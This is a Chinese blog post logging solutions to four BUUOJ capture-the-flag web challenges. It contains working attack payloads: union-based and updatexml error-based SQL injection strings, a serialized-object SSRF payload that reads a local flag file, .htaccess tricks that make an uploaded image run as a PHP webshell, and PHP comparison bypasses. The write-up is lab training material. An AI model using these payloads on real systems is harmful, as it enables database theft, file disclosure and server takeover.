2021-06-27 CTF Webbuuoj day16

[GXYCTF2019]BabySQli

类型

SQL注入

解题

  1. 正常请求,有一段只含大写字母和数字的,base32解码,然后base64再解。
    sql语句
    base32
    sql注入语句
  2. name注入admin’ or 1=1#有过滤or,(,),之前的做法这题都不行了。在这里插入图片描述
  3. 看WP,有源码
<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
	function stripslashes_deep($value)
	{
		$value = is_array($value) 
		array_map('stripslashes_deep', $value) 
		stripslashes($value);
		return $value;
	}

	$_POST = array_map('stripslashes_deep', $_POST);
	$_GET = array_map('stripslashes_deep', $_GET);
	$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
	$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/\(|\)|\=|or/", $name)){
	die("do not hack me!");
}
else{
	if (!$result) {
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
		// echo '<pre>';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}

?>

源码
判断name是否是admin,如果不是提示wrong user!,如果password的md5值跟数据库查询结果一致,则返回flag,否则返回wrong pass!
解题关键是如何绕过这个判断逻辑。
看WP,union select如果查询不存在的话会插入一个数据。
unions select通过Order by 判断有4个字段。
Oder by 3#
Order by 4#
union select ‘admin’,2,3#,wrong user!
1' union select 'admin',2,3#
union select 1,‘admin’,3#,wrong pass!,user的位置对了。
在这里插入图片描述
构造payload为 name=1’ union select 1,‘admin’,‘eccbc87e4b5ce2fe28308fd9f2a7baf3’#&pw=3
应该是,这样union select 1,‘admin’,'eccbc87e4b5ce2fe28308fd9f2a7baf3’会插入union select数据,'eccbc87e4b5ce2fe28308fd9f2a7baf3’是3的md5值,插入后就有一条1,admin,3的数据,这样pw=3就可以满足md5($password) == $arr[2]了。
flag

[网鼎杯 2018]Fakebook

类型

SQL注入、SSRF

解题

  1. 注册一个用户admin/123/123/http://www.baidu.com
    no=1
    sql注入:
    sql注入查no=1
    SSRF点,data参数,text/html,base64编码。
    SSRF
  2. 注入点测试
    sql注入点
    no hack
    绕过过滤,database()
    database
    注入都是报错
    注入报错
    报错注入
    表名1%20and%20updatexml(1,concat(%27~%27,(select/**/group_concat(table_name)from%20information_schema.tables%20where%20table_schema=%27fakebook%27),%27~%27),1)%23
    tables
    列名1%20and%20updatexml(1,concat(%27~%27,(select/**/group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=%27fakebook%27%20and%20table_name=%27users%27),%27~%27),1)%23
    columns
    数据

1%20and%20updatexml(1,concat(%27~%27,substr((select/**/group_concat(no,username,passwd,data)%20from%20fakebook.users),140,32),'~'),1)%23

UserInfo左
1%20and%20updatexml(1,concat(%27~%27,substr((select/**/group_concat(no,username,passwd,data)%20from%20fakebook.users),170,32),'~'),1)%23
UserInfo右
得到data的格式:
data
user.php.bak把UserInfo序列化,blog设置成SSRF的payloadfile:///var/www/html/flag.php
序列化
-1/**/union/**/select/**/1,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27
payload注入
返回base64解码
flag

[MRCTF2020]你传你🐎呢

类型

weshell上传

解题

  1. 无论上传什么都会被拦截。

  2. 看WP是上传png会成功,可是我的png怎么传不上去,把一句话木马2.php改成2.png上传成功,返回路径。
    2.png

  3. 接下来怎么以php读2.png了,这里用到的方法是上传了.htaccess
    .htaccess(分布式配置文件),类似于之前做到的题目中.user.ini,允许用户自己修改此目录及其所有子目录的配置。
    AddType application/x-httpd-php .png,配置.png当作php代码执行。
    上传.htaccess,抓包修改Content-Type=image/jpeg
    .htaccess上传
    这里有个插曲,.htaccess不像.user.ini创建是新建txt文档重命名即可,重命名提示缺少文件名,这时要编辑好,另存为.htaccess,文件类型选择所有文件
    .htaccess
    两个文件都上传成功后,蚁剑连接到返回的目录upload/8e35816f606927c3c2efe232906f4e3b/2.png
    蚁剑
    翻根目录找到flag
    flag
    这里.htaccess还有一种是修改文件被当作php执行

<FilesMatch "2.png">
SetHandler application/x-httpd-php
</FilesMatch>

.htaccess

[MRCTF2020]Ez_bypass

类型

php代码审计

解题

绕过所有if判断就可以
源代码

  1. 第一个if:GET请求上传两个参数gg和id,都有值

  2. 第二个if:(md5($gg)===md5($id))&&$id !== $gg绕过返回’You got the first step’
    利用array的md5值===绕过这个if:
    get成功

  3. 第三个if: post传参passwd,绕过返回’You can not get it !’
    传入passwd

  4. 第四个if:passwd不等于数字,绕过返回"can you think twice??"
    passwd传入字符串
    绕过isnumeric

  5. 第五个if:$passwd==1234567,绕过返回flag
    通过$passwd=1234567+字符绕过
    flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值